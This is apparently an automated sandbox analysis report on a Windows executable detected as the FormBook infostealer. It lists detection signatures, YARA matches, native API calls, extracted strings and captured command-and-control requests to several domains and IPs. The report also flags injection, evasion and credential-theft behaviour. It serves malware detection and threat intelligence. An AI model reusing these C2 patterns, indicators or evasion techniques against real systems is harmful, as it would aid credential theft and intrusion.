Windows Analysis Report
PO0423023.exe

Overview

General Information

Sample name: PO0423023.exe
Analysis ID: 1430158
MD5: c7bebfd0af94c40da20ce3639251c688
SHA1: bbe1339a4a15e7c7c9c0e68d2f3b8655c7c0780c
SHA256: cc4eb6b1d8a54f9ad9c8483ba7ac4a141db452a40299719090ff7b1878047063
Tags: exe
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected AntiVM3
Yara detected FormBook
.NET source code contains potential unpacker
.NET source code contains very large array initializations
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: PO0423023.exe Virustotal: Detection: 35% Perma Link
Source: PO0423023.exe ReversingLabs: Detection: 31%
Yara detected FormBook
Source: Yara match File source: 3.2.PO0423023.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.PO0423023.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.3265262776.0000000005940000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2489011998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3262815289.00000000038C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2491778083.0000000001CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3262551392.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3261184136.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.3262636915.0000000002A20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2491943456.0000000001DA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Machine Learning detection for sample
Source: PO0423023.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: PO0423023.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: PO0423023.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: tLYg.pdb source: PO0423023.exe
Source: Binary string: takeown.pdbGCTL source: PO0423023.exe, 00000003.00000002.2489347958.0000000001538000.00000004.00000020.00020000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000005.00000002.3262104447.0000000000E88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: uFKwxSqRZbIimWVtjS.exe, 00000005.00000000.2409064441.000000000009E000.00000002.00000001.01000000.0000000D.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000000.2565630013.000000000009E000.00000002.00000001.01000000.0000000D.sdmp
Source: Binary string: wntdll.pdbUGP source: PO0423023.exe, 00000003.00000002.2489820971.0000000001990000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 00000006.00000002.3262997035.0000000003C0E000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 00000006.00000003.2489739936.0000000003718000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 00000006.00000002.3262997035.0000000003A70000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 00000006.00000003.2492243743.00000000038C1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: takeown.pdb source: PO0423023.exe, 00000003.00000002.2489347958.0000000001538000.00000004.00000020.00020000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000005.00000002.3262104447.0000000000E88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: tLYg.pdbSHA256 source: PO0423023.exe
Source: Binary string: wntdll.pdb source: PO0423023.exe, PO0423023.exe, 00000003.00000002.2489820971.0000000001990000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, takeown.exe, 00000006.00000002.3262997035.0000000003C0E000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 00000006.00000003.2489739936.0000000003718000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 00000006.00000002.3262997035.0000000003A70000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 00000006.00000003.2492243743.00000000038C1000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032FBAC0 FindFirstFileW,FindNextFileW,FindClose, 6_2_032FBAC0
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\takeown.exe Code function: 4x nop then xor eax, eax 6_2_032E9290
Source: C:\Windows\SysWOW64\takeown.exe Code function: 4x nop then pop edi 6_2_032F1FFB
Source: C:\Windows\SysWOW64\takeown.exe Code function: 4x nop then pop edi 6_2_032EDD18

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2856318 ETPRO TROJAN FormBook CnC Checkin (POST) M4 192.168.2.5:49721 -> 91.195.240.19:80
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 91.195.240.117 91.195.240.117
Source: Joe Sandbox View IP Address: 91.195.240.123 91.195.240.123
Source: Joe Sandbox View IP Address: 91.195.240.19 91.195.240.19
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /pq0o/?Lx=8PqlJ028VT_&sHlxgpX=J8WC84xruYdLZ+88O/faPZDbDvgvpAFcdnGo6AhEflv3qioXWy6Vm5wGjKWjZFBj5bzfVwWaJCB72b3lEpkTVQZSX1dtpaRBnFtuiUAedf4oW0TmsJoC9BTZIWyKDmIsTQ== HTTP/1.1Host: www.xn--yzyp76d.comAccept: */*Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) LinkCheck by Siteimprove.com
Source: global traffic HTTP traffic detected: GET /pq0o/?sHlxgpX=zlo+FGSBhCkM5GVOiSRgbmytEbX4vu088Yj7BD8zO0hDA+Ttp+tE7JQXtFhQSzjU/FmrV36xGrNmbpUbkD9mJUabQMjhSVlFurdcd91J2fhXl/3bZKBIsDf+Ls10KGv+Sw==&Lx=8PqlJ028VT_ HTTP/1.1Host: www.luckydomainz.shopAccept: */*Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) LinkCheck by Siteimprove.com
Source: global traffic HTTP traffic detected: GET /pq0o/?Lx=8PqlJ028VT_&sHlxgpX=zdIBKqN9oP3plxVX8thCZZdmDrHBie+/57+iRklTGjPKULzejm8MTR3zmbqN1d/mp0y1+1mzyQU/+H24oE5uBlYVorRh6rpQbOSJYQm+mXyPaQohcHNhiXaWLX+2tNk6Xw== HTTP/1.1Host: www.cd14j.usAccept: */*Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) LinkCheck by Siteimprove.com
Source: global traffic HTTP traffic detected: GET /pq0o/?sHlxgpX=Ed/ELXNC0S7dMHCut27L778qDXjqsr17l3BGGyc+QR+QSIsAiYGE9ikEmCd6tM+iTSJXxriNtRC8Y/iBHpE37xqgjcRlXnwEl/GWP1Z5DHGRU92yhpKCU6gPuWpCXnwQNw==&Lx=8PqlJ028VT_ HTTP/1.1Host: www.fashionagencylab.comAccept: */*Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) LinkCheck by Siteimprove.com
Source: unknown DNS traffic detected: queries for: www.xn--yzyp76d.com
Source: unknown HTTP traffic detected: POST /pq0o/ HTTP/1.1Host: www.luckydomainz.shopAccept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateOrigin: http://www.luckydomainz.shopContent-Length: 208Connection: closeContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0Referer: http://www.luckydomainz.shop/pq0o/User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) LinkCheck by Siteimprove.comData Raw: 73 48 6c 78 67 70 58 3d 2b 6e 41 65 47 7a 57 59 75 77 46 2f 37 67 35 74 74 43 52 6a 56 47 79 7a 44 62 48 34 68 5a 45 42 31 75 76 37 4b 46 38 77 45 48 77 49 41 72 6a 4f 6b 2b 34 69 2f 49 77 6f 39 46 56 44 65 30 37 51 2b 32 7a 70 63 6c 43 64 43 4a 74 46 57 37 6f 37 75 43 42 2f 4e 46 43 53 56 35 44 77 62 31 78 53 78 4c 56 65 52 65 4d 5a 30 64 41 79 32 5a 4f 51 51 4d 46 4b 73 68 6e 69 64 4d 78 6e 66 48 4b 78 50 64 49 4f 6b 47 30 4e 74 32 2f 6c 30 59 63 2f 59 38 4e 4f 4b 6e 49 46 61 51 51 38 2f 5a 71 42 35 72 63 6d 6b 32 6e 4c 42 6a 46 63 39 44 52 6f 38 6d 31 47 34 78 7a 45 64 4a 71 58 5a 70 5a 5a 69 6f 4a 6a 38 34 38 3d Data Ascii: sHlxgpX=+nAeGzWYuwF/7g5ttCRjVGyzDbH4hZEB1uv7KF8wEHwIArjOk+4i/Iwo9FVDe07Q+2zpclCdCJtFW7o7uCB/NFCSV5Dwb1xSxLVeReMZ0dAy2ZOQQMFKshnidMxnfHKxPdIOkG0Nt2/l0Yc/Y8NOKnIFaQQ8/ZqB5rcmk2nLBjFc9DRo8m1G4xzEdJqXZpZZioJj848=
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 23 Apr 2024 06:38:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 64 34 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 3c 74 69 74 6c 65 3e e9 95 bf e7 9b 9b 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 72 6b 73 6d 69 6c 65 2e 63 6f 6d 2f 61 73 73 65 74 2f 6c 70 5f 73 74 79 6c 65 2e 63 73 73 22 20 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6c 2e 33 36 35 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 66 69 6c 65 2f 6d 61 69 6c 2e 70 6e 67 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 61 75 74 6f 22 20 61 6c 74 3d 22 33 36 35 e9 82 ae e7 ae b1 22 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 7a 2d 69 6e 64 65 78 3a 20 31 3b 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6d 22 20 3e 3c 68 32 20 69 64 3d 22 64 6f 6d 61 69 6e 22 3e e9 95 bf e7 9b 9b 2e 63 6f 6d 3c 2f 68 32 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 67 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 2f 2f 63 6f 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 22 3e 0a 3c 74 61 62 6c 65 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 62 6f 72 64 65 72 3d 22 30 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 3e 0a 3c 74 72 3e 3c 74 64 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 3e e5 9f 9f e5 90 8d e6 89 98 e7 ae a1 e5 95 86 3a 3c 69 6d 67 20 73 72 63 3d 22 66 69 6c 65 2f 6d 61 72
Source: PO0423023.exe String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: PO0423023.exe String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: PO0423023.exe String found in binary or memory: http://ocsp.comodoca.com0
Source: PO0423023.exe String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3265262776.00000000059B8000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.fashionagencylab.com
Source: uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3265262776.00000000059B8000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.fashionagencylab.com/pq0o/
Source: takeown.exe, 00000006.00000002.3263652548.00000000044C4000.00000004.10000000.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3263133783.00000000038F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2804163567.000000002EEC4000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.marksmile.com/asset/lp_qrcode.png
Source: takeown.exe, 00000006.00000002.3263652548.00000000044C4000.00000004.10000000.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3263133783.00000000038F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2804163567.000000002EEC4000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.marksmile.com/asset/lp_style.css
Source: takeown.exe, 00000006.00000002.3266159906.0000000008358000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: takeown.exe, 00000006.00000002.3266159906.0000000008358000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: takeown.exe, 00000006.00000002.3266159906.0000000008358000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: takeown.exe, 00000006.00000002.3266159906.0000000008358000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: takeown.exe, 00000006.00000002.3266159906.0000000008358000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: takeown.exe, 00000006.00000002.3266159906.0000000008358000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: takeown.exe, 00000006.00000002.3266159906.0000000008358000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: takeown.exe, 00000006.00000002.3263652548.0000000004656000.00000004.10000000.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3263133783.0000000003A86000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://img.sedoparking.com/templates/images/hero_nc.svg
Source: takeown.exe, 00000006.00000002.3263652548.00000000044C4000.00000004.10000000.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3263133783.00000000038F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2804163567.000000002EEC4000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: https://lf6-cdn-tos.bytecdntp.com/cdn/expire-1-M/axios/0.26.0/axios.min.js
Source: takeown.exe, 00000006.00000002.3261394399.00000000035DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: takeown.exe, 00000006.00000002.3261394399.00000000035EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: takeown.exe, 00000006.00000002.3261394399.00000000035DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: takeown.exe, 00000006.00000002.3261394399.00000000035BE000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 00000006.00000002.3261394399.00000000035DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: takeown.exe, 00000006.00000002.3261394399.00000000035BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2YY
Source: takeown.exe, 00000006.00000002.3261394399.00000000035DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: takeown.exe, 00000006.00000002.3261394399.00000000035DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033&9
Source: takeown.exe, 00000006.00000002.3261394399.00000000035DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: takeown.exe, 00000006.00000002.3261394399.00000000035DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: takeown.exe, 00000006.00000003.2677821790.000000000827D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: takeown.exe, 00000006.00000002.3263652548.00000000044C4000.00000004.10000000.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3263133783.00000000038F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2804163567.000000002EEC4000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: https://mail.365.com/login.html
Source: PO0423023.exe String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: takeown.exe, 00000006.00000002.3266159906.0000000008358000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: takeown.exe, 00000006.00000002.3263652548.00000000044C4000.00000004.10000000.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3263133783.00000000038F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2804163567.000000002EEC4000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: https://www.marksmile.com/
Source: takeown.exe, 00000006.00000002.3263652548.0000000004656000.00000004.10000000.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3263133783.0000000003A86000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.namecheap.com/domains/registration/results/?domain=luckydomainz.shop
Source: takeown.exe, 00000006.00000002.3263652548.00000000047E8000.00000004.10000000.00040000.00000000.sdmp, takeown.exe, 00000006.00000002.3265854734.00000000067A0000.00000004.00000800.00020000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3263133783.0000000003C18000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.namesilo.com
Source: takeown.exe, 00000006.00000002.3263652548.00000000047E8000.00000004.10000000.00040000.00000000.sdmp, takeown.exe, 00000006.00000002.3265854734.00000000067A0000.00000004.00000800.00020000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3263133783.0000000003C18000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.namesilo.com/domain/search-domains?query=cd14j.us
Source: uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3263133783.0000000003C18000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.sedo.com/services/parking.php3
Source: uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3263133783.0000000003DAA000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.tucowsdomains.com/

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 3.2.PO0423023.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.PO0423023.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.3265262776.0000000005940000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2489011998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3262815289.00000000038C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2491778083.0000000001CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3262551392.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3261184136.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.3262636915.0000000002A20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2491943456.0000000001DA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 3.2.PO0423023.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 3.2.PO0423023.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.3265262776.0000000005940000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.2489011998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3262815289.00000000038C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.2491778083.0000000001CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3262551392.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3261184136.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3262636915.0000000002A20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.2491943456.0000000001DA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
.NET source code contains very large array initializations
Source: 0.2.PO0423023.exe.24942b8.1.raw.unpack, HomeView.cs Large array initialization: : array initializer size 33604
Source: 0.2.PO0423023.exe.4ce0000.10.raw.unpack, HomeView.cs Large array initialization: : array initializer size 33604
Contains functionality to call native functions
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0042B263 NtClose, 3_2_0042B263
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02B60 NtClose,LdrInitializeThunk, 3_2_01A02B60
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02DF0 NtQuerySystemInformation,LdrInitializeThunk, 3_2_01A02DF0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02C70 NtFreeVirtualMemory,LdrInitializeThunk, 3_2_01A02C70
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A035C0 NtCreateMutant,LdrInitializeThunk, 3_2_01A035C0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A04340 NtSetContextThread, 3_2_01A04340
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A04650 NtSuspendThread, 3_2_01A04650
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02BA0 NtEnumerateValueKey, 3_2_01A02BA0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02B80 NtQueryInformationFile, 3_2_01A02B80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02BE0 NtQueryValueKey, 3_2_01A02BE0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02BF0 NtAllocateVirtualMemory, 3_2_01A02BF0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02AB0 NtWaitForSingleObject, 3_2_01A02AB0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02AF0 NtWriteFile, 3_2_01A02AF0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02AD0 NtReadFile, 3_2_01A02AD0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02DB0 NtEnumerateKey, 3_2_01A02DB0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02DD0 NtDelayExecution, 3_2_01A02DD0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02D30 NtUnmapViewOfSection, 3_2_01A02D30
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02D00 NtSetInformationFile, 3_2_01A02D00
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02D10 NtMapViewOfSection, 3_2_01A02D10
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02CA0 NtQueryInformationToken, 3_2_01A02CA0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02CF0 NtOpenProcess, 3_2_01A02CF0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02CC0 NtQueryVirtualMemory, 3_2_01A02CC0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02C00 NtQueryInformationProcess, 3_2_01A02C00
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02C60 NtCreateKey, 3_2_01A02C60
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02FA0 NtQuerySection, 3_2_01A02FA0
